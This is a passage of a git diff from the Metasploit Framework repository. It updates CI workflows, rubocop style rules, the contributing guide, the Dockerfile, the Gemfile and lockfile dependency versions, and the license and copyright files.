convert the rest of Rex/Msf to use this library instead only.
8. Rewrite and import MetaSsh into Metasploit proper using the
new Rex::Proto::Ssh code.

-----

Huge thanks to @hirura for writing HrrRbSsh. I've spent countless
hours on and off working to implement server-side semantics in
net/ssh years ago and it was becoming a pretty full rewrite due
to the ordering of server/client req/resp messages and who sent
what to whom. This library is a much much cleaner implementation
and provides full, modern SSH servers in pure Ruby.
2019-06-22 20:06:15 -04:00
RageLtMan 8549f416f8 SSH gem requirement for gemspec 2019-06-22 20:06:15 -04:00
904 changed files with 29919 additions and 8023 deletions
+15
View File
@@ -0,0 +1,15 @@
labels:
- name: needs-docs
labeled:
pr:
body: |
Thanks for your pull request, before this can be merged - corresponding documentation for your module is required:
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
action: open
unlabeled:
issue:
body: |
Thank you for adding module documentation :tada:
action: open
+29
View File
@@ -0,0 +1,29 @@
#
# Automatically respond to any issues/pull requests that have the given labels assigned.
#
name: Label Commenter
on:
issues:
types:
- labeled
- unlabeled
pull_request:
types:
- labeled
- unlabeled
jobs:
comment:
runs-on: ubuntu-18.04
steps:
- uses: actions/checkout@v2
with:
ref: master
- name: Label Commenter
# Note: Using SHA explicitly for v1.2.3 - https://julienrenaux.fr/2019/12/20/github-actions-security-risk/
uses: peaceiris/actions-label-commenter@93941f8f189a4b92ab75059aa39fe421469253f4
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
config_file: .github/label-commenter-config.yml
+2
View File
@@ -2,6 +2,7 @@ acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
@@ -25,6 +26,7 @@ pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
+68 -21
View File
@@ -11,6 +11,16 @@
AllCops:
TargetRubyVersion: 2.4
require:
- ./lib/rubocop/cop/layout/module_hash_on_new_line.rb
- ./lib/rubocop/cop/layout/module_description_indentation.rb
Layout/ModuleHashOnNewLine:
Enabled: true
Layout/ModuleDescriptionIndentation:
Enabled: true
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
@@ -59,6 +69,25 @@ Style/Documentation:
Exclude:
- 'modules/**/*'
Layout/FirstArgumentIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/ArgumentAlignment:
Enabled: true
EnforcedStyle: with_first_argument
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful for the module hash to be indented consistently'
Layout/FirstHashElementLineBreak:
Enabled: true
Description: 'Enforce consistency by breaking hash elements on to new lines'
Layout/SpaceInsideArrayLiteralBrackets:
Enabled: false
Description: 'Almost all module metadata have space in brackets'
@@ -93,26 +122,26 @@ Style/TrailingCommaInArrayLiteral:
Metrics/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Metrics/BlockLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Metrics/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Naming/UncommunicativeMethodParamName:
Naming/MethodParameterName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
@@ -126,13 +155,10 @@ Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/AlignHash:
Enabled: false
Description: 'aligning info hashes to match these rules is almost impossible to get right'
Layout/EmptyLines:
Enabled: false
Description: 'these are used to increase readability'
Layout/FirstArrayElementIndentation:
Enabled: true
EnforcedStyle: consistent
Description: 'Useful to force values within the register_options array to have sane indentation'
Layout/EmptyLinesAroundClassBody:
Enabled: false
@@ -142,19 +168,24 @@ Layout/EmptyLinesAroundMethodBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/AlignParameters:
Layout/ExtraSpacing:
Description: 'Do not use unnecessary spacing.'
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
# When true, allows most uses of extra spacing if the intent is to align
# things with the previous or next line, not counting empty lines or comment
# lines.
AllowForAlignment: false
# When true, allows things like 'obj.meth(arg) # comment',
# rather than insisting on 'obj.meth(arg) # comment'.
# If done for alignment, either this OR AllowForAlignment will allow it.
AllowBeforeTrailingComments: false
# When true, forces the alignment of `=` in assignments on consecutive lines.
ForceEqualSignAlignment: false
Style/For:
Enabled: false
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'
@@ -163,6 +194,22 @@ Style/IfUnlessModifier:
Enabled: false
Description: 'This style might save a couple of lines, but often makes code less clear'
Style/PercentLiteralDelimiters:
Description: 'Use `%`-literal delimiters consistently.'
Enabled: true
# Specify the default preferred delimiter for all types with the 'default' key
# Override individual delimiters (even with default specified) by specifying
# an individual key
PreferredDelimiters:
default: ()
'%i': '[]'
'%I': '[]'
'%r': '{}'
'%w': '[]'
'%W': '[]'
'%q': '{}' # Chosen for module descriptions as () are frequently used characters, whilst {} are rarely used
VersionChanged: '0.48.1'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
+1 -1
View File
@@ -43,7 +43,7 @@ before_install:
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
# Update the bundler
- gem update --system
- gem update --system 3.0.6
- gem install bundler
before_script:
- cp config/database.yml.travis config/database.yml
+40 -38
View File
@@ -1,64 +1,66 @@
# Hello, World!
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, review our
[Code of Conduct]. There are multiple ways to help beyond just writing code:
- [Submit bugs and feature requests] with detailed information about your issue or idea.
- [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
- [Report a security vulnerability in Metasploit itself] to Rapid7.
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new) with detailed information about your issue or idea:
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
- [Add module documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation). New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
**will** be closed. Sorry!
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit). It will help you to get started and avoid some common mistakes.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
### Code Contribution Do's & Don'ts:
--
#### <u>Pull Requests</u>
**Pull request [PR#9966] is a good example to follow.**
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
* Protect the process.
* Ensures users are aware of commits on the branch being considered for merge.
* Allows for a location for more commits to be offered without mingling with other contributor changes.
* Allows contributors to make progress while a PR is still being reviewed.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
allows for a location for more commits to be offered without mingling with other contributor changes,
and allows contributors to make progress while a PR is still being reviewed.
### Pull Requests
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
Pull request [PR#9966] is a good example to follow.
#### New Modules
#### <u>New Modules</u>
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
* **Do** use the many module mixin [API]s.
* **Don't** include more than one module per pull request.
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation] showing sample run-throughs.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
anything "serious" can be done with post modules and local exploits.
#### Library Code
* **Don't** include more than one module per pull request.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
#### <u>Library Code</u>
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
#### <u>Bug Fixes</u>
* **Do** include reproduction steps in the form of verification steps.
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
@@ -99,8 +101,8 @@ curve, so keep it up!
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[Better Specs]:http://www.betterspecs.org/
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Metasploit Slack]:https://www.metasploit.com/slack
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (C) 2006-2018, Rapid7, Inc.
Copyright (C) 2006-2020, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
+3 -3
View File
@@ -27,9 +27,9 @@ RUN apk add --no-cache \
zlib-dev \
ncurses-dev \
git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
&& echo "gem: --no-document" > /etc/gemrc \
&& gem update --system 3.0.6 \
&& bundle install --force --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
+7 -2
View File
@@ -8,7 +8,7 @@ gem 'sqlite3', '~>1.3.0'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
gem 'simplecov'
gem 'simplecov', '0.18.2'
end
group :development do
@@ -17,9 +17,13 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
gem 'pry'
gem 'pry-byebug'
# module documentation
gem 'octokit'
# memory profiling
gem 'memory_profiler'
# cpu profiling
gem 'ruby-prof'
# Metasploit::Aggregator external session proxy
# disabled during 2.5 transition until aggregator is available
#gem 'metasploit-aggregator'
@@ -36,6 +40,7 @@ group :development, :test do
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
gem 'rubocop'
gem 'swagger-blocks'
end
+91 -55
View File
@@ -1,14 +1,13 @@
PATH
remote: .
specs:
metasploit-framework (5.0.63)
metasploit-framework (5.0.82)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
backports
bcrypt (= 3.1.12)
bcrypt_pbkdf
bit-struct
@@ -16,18 +15,21 @@ PATH
dnsruby
ed25519
em-http-request
eventmachine
faker
faraday (<= 0.17.0)
faraday
faye-websocket
filesize
hrr_rb_ssh (= 0.3.0.pre2)
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.79)
metasploit_data_models (= 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
metasploit-concern (~> 2.0.0)
metasploit-credential (~> 3.0.0)
metasploit-model (~> 2.0.4)
metasploit-payloads (= 1.3.86)
metasploit_data_models (~> 3.0.10)
metasploit_payloads-mettle (= 0.5.20)
mqtt
msgpack
nessus_rest
@@ -113,40 +115,41 @@ GEM
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.10.0)
arel-helpers (2.11.0)
activerecord (>= 3.1.0, < 7)
ast (2.4.0)
aws-eventstream (1.0.3)
aws-partitions (1.246.0)
aws-sdk-core (3.82.0)
aws-partitions (1.287.0)
aws-sdk-core (3.92.0)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.121.0)
aws-sdk-ec2 (1.151.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.32.0)
aws-sdk-iam (1.34.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.26.0)
aws-sdk-kms (1.30.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.57.0)
aws-sdk-core (~> 3, >= 3.77.0)
aws-sdk-s3 (1.61.1)
aws-sdk-core (~> 3, >= 3.83.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.1.0)
aws-sigv4 (1.1.1)
aws-eventstream (~> 1.0, >= 1.0.2)
backports (3.15.0)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bindata (2.4.6)
bit-struct (0.16)
builder (3.2.3)
builder (3.2.4)
byebug (11.1.1)
coderay (1.1.2)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.5)
crass (1.0.6)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.3)
@@ -170,27 +173,34 @@ GEM
railties (>= 4.2.0)
faker (2.2.1)
i18n (>= 0.8)
faraday (0.17.0)
faraday (1.0.0)
multipart-post (>= 1.2, < 3)
faye-websocket (0.10.9)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
hrr_rb_ssh (0.3.0.pre2)
ed25519 (~> 1.2)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jaro_winkler (1.5.4)
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
json (2.2.0)
json (2.3.0)
loofah (2.4.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (0.9.14)
metasm (1.0.4)
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (3.0.3)
metasploit-credential (3.0.4)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
@@ -204,7 +214,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.79)
metasploit-payloads (1.3.86)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -215,25 +225,29 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.16)
metasploit_payloads-mettle (0.5.20)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.13.0)
minitest (5.14.0)
mqtt (0.5.0)
msgpack (1.3.1)
msgpack (1.3.3)
multipart-post (2.1.1)
nessus_rest (0.1.6)
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.5)
nokogiri (1.10.9)
mini_portile2 (~> 2.4.0)
octokit (4.14.0)
octokit (4.18.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.19.1)
parser (2.7.0.4)
ast (~> 2.4.0)
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.4.0)
@@ -251,8 +265,11 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (4.0.1)
rack (1.6.11)
pry-byebug (3.8.0)
byebug (~> 11.0)
pry (~> 0.10)
public_suffix (4.0.3)
rack (1.6.13)
rack-protection (1.5.5)
rack
rack-test (0.6.3)
@@ -270,9 +287,10 @@ GEM
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rainbow (3.0.0)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.6)
recog (2.3.7)
nokogiri
redcarpet (3.5.0)
rex-arch (0.1.13)
@@ -288,7 +306,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.21)
rex-exploitation (0.1.22)
jsobfu
metasm
rex-arch
@@ -301,9 +319,10 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.83)
rex-powershell (0.1.87)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.4)
rex-text
rex-registry (0.1.3)
@@ -311,30 +330,31 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.21)
rex-socket (0.1.23)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.24)
rex-text (0.2.25)
rex-zip (0.1.3)
rex-text
rexml (3.2.4)
rkelly-remix (0.0.7)
rspec (3.9.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-core (3.9.0)
rspec-support (~> 3.9.0)
rspec-expectations (3.9.0)
rspec-core (3.9.1)
rspec-support (~> 3.9.1)
rspec-expectations (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.9.0)
rspec-mocks (3.9.0)
rspec-mocks (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.9.0)
rspec-rails (3.9.0)
rspec-rails (3.9.1)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
@@ -344,23 +364,32 @@ GEM
rspec-support (~> 3.9.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.9.0)
rspec-support (3.9.2)
rubocop (0.80.1)
jaro_winkler (~> 1.5.1)
parallel (~> 1.10)
parser (>= 2.7.0.1)
rainbow (>= 2.2.2, < 4.0)
rexml
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 1.7)
ruby-macho (2.2.0)
ruby-prof (1.3.1)
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby_smb (1.1.0)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (2.0.0)
rubyzip (2.3.0)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.17.1)
simplecov (0.18.2)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.2)
simplecov-html (~> 0.11)
simplecov-html (0.12.2)
sinatra (1.4.8)
rack (~> 1.5)
rack-protection (~> 1.4)
@@ -372,23 +401,27 @@ GEM
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (0.20.3)
thor (1.0.1)
thread_safe (0.3.6)
tilt (2.0.10)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.5)
ttfunk (1.6.2.1)
tzinfo (1.2.6)
thread_safe (~> 0.1)
tzinfo-data (1.2019.3)
tzinfo (>= 1.0.0)
unicode-display_width (1.6.1)
warden (1.2.7)
rack (>= 1.0)
websocket-driver (0.7.1)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.4)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.20)
yard (0.9.24)
PLATFORMS
ruby
@@ -396,14 +429,17 @@ PLATFORMS
DEPENDENCIES
factory_bot_rails
fivemat
memory_profiler
metasploit-framework!
octokit
pry
pry-byebug
rake
redcarpet
rspec-rails
rspec-rerun
simplecov
rubocop
ruby-prof
simplecov (= 0.18.2)
sqlite3 (~> 1.3.0)
swagger-blocks
timecop
+5 -1
View File
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2018, Rapid7, Inc.
Copyright: 2006-2020, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
@@ -71,6 +71,10 @@ Files: lib/anemone.rb lib/anemone/*
Copyright: 2009 Vertive, Inc.
License: MIT
Files: lib/expect.rb
Copyright: 2017 Yukihiro Matsumoto
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0
+56 -40
View File
@@ -8,26 +8,27 @@ activesupport, 4.2.11.1, MIT
addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.10.0, MIT
arel-helpers, 2.11.0, MIT
ast, 2.4.0, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.246.0, "Apache 2.0"
aws-sdk-core, 3.82.0, "Apache 2.0"
aws-sdk-ec2, 1.121.0, "Apache 2.0"
aws-sdk-iam, 1.32.0, "Apache 2.0"
aws-sdk-kms, 1.26.0, "Apache 2.0"
aws-sdk-s3, 1.57.0, "Apache 2.0"
aws-sigv4, 1.1.0, "Apache 2.0"
backports, 3.15.0, MIT
aws-partitions, 1.285.0, "Apache 2.0"
aws-sdk-core, 3.91.1, "Apache 2.0"
aws-sdk-ec2, 1.151.0, "Apache 2.0"
aws-sdk-iam, 1.34.0, "Apache 2.0"
aws-sdk-kms, 1.30.0, "Apache 2.0"
aws-sdk-s3, 1.61.1, "Apache 2.0"
aws-sigv4, 1.1.1, "Apache 2.0"
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bindata, 2.4.6, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
builder, 3.2.4, MIT
bundler, 1.17.3, MIT
byebug, 11.1.1, "Simplified BSD"
coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.5, MIT
crass, 1.0.6, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.3, "Apache 2.0"
@@ -40,39 +41,45 @@ eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.1.1, MIT
factory_bot_rails, 5.1.1, MIT
faker, 2.2.1, MIT
faraday, 0.17.1, MIT
faraday, 0.17.0, MIT
faye-websocket, 0.10.9, "Apache 2.0"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
jaro_winkler, 1.5.4, MIT
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.2.0, ruby
json, 2.3.0, ruby
loofah, 2.4.0, MIT
memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.63, "New BSD"
metasploit-credential, 3.0.4, "New BSD"
metasploit-framework, 5.0.82, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.79, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.86, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 0.5.19, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.13.0, MIT
minitest, 5.14.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.1, "Apache 2.0"
msgpack, 1.3.3, "Apache 2.0"
multipart-post, 2.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.5, MIT
octokit, 4.14.0, MIT
nokogiri, 1.10.9, MIT
octokit, 4.17.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.19.1, MIT
parser, 2.7.0.4, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.4.0, MIT
@@ -80,66 +87,75 @@ pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 4.0.1, MIT
rack, 1.6.11, MIT
pry-byebug, 3.8.0, MIT
public_suffix, 4.0.3, MIT
rack, 1.6.13, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 4.2.11.1, MIT
rainbow, 3.0.0, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.6, unknown
recog, 2.3.7, unknown
redcarpet, 3.5.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.21, "New BSD"
rex-exploitation, 0.1.22, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.83, "New BSD"
rex-powershell, 0.1.87, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
